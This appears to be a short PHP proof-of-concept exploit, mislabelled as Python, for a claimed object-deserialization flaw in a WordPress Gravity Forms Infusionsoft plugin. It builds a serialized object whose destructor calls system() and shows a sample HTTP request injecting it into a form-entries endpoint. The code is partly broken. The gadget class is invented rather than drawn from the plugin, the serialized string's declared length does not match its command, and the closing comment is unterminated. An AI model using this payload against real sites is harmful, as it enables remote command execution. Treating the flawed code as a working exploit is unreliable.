python

<?php
// CVE-2025-58636 PoC - Deserialization of Untrusted Data
// Target: WP Gravity Forms Keap/Infusionsoft plugin <= 1.2.3
// Note: This PoC demonstrates the vulnerability concept. Modify based on actual gadget chain.

class Gadget {
    public $cmd;
    
    public function __destruct() {
        system($this->cmd);
    }
}

// Generate malicious serialized payload
$payload = new Gadget();
$payload->cmd = 'id > /tmp/pwned.txt';
$malicious_data = serialize($payload);

echo "Malicious serialized payload:\n";
echo $malicious_data . "\n\n";

// Example: Send payload via Gravity Forms submission
// The actual exploitation depends on the plugin's data handling logic
// Common injection points:
// 1. Gravity Forms entry meta data
// 2. Form field values processed by gf-infusionsoft
// 3. API callback parameters

// For demonstration, base64 encode the payload
$encoded_payload = base64_encode($malicious_data);
echo "Base64 encoded payload for injection:\n";
echo $encoded_payload . "\n";

/*
Example HTTP request to inject the payload:

POST /wp-json/gf/v2/entries HTTP/1.1
Host: target.com
Content-Type: application/json

{
    "form_id": 1,
    "field_1": "normal_value",
    "gf_infusionsoft_field": "O:7:\"Gadget\":1:{s:3:\"cmd\";s:26:\"id > /tmp/pwned.txt\";}"
}

Or via Gravity Forms admin export/import functionality.
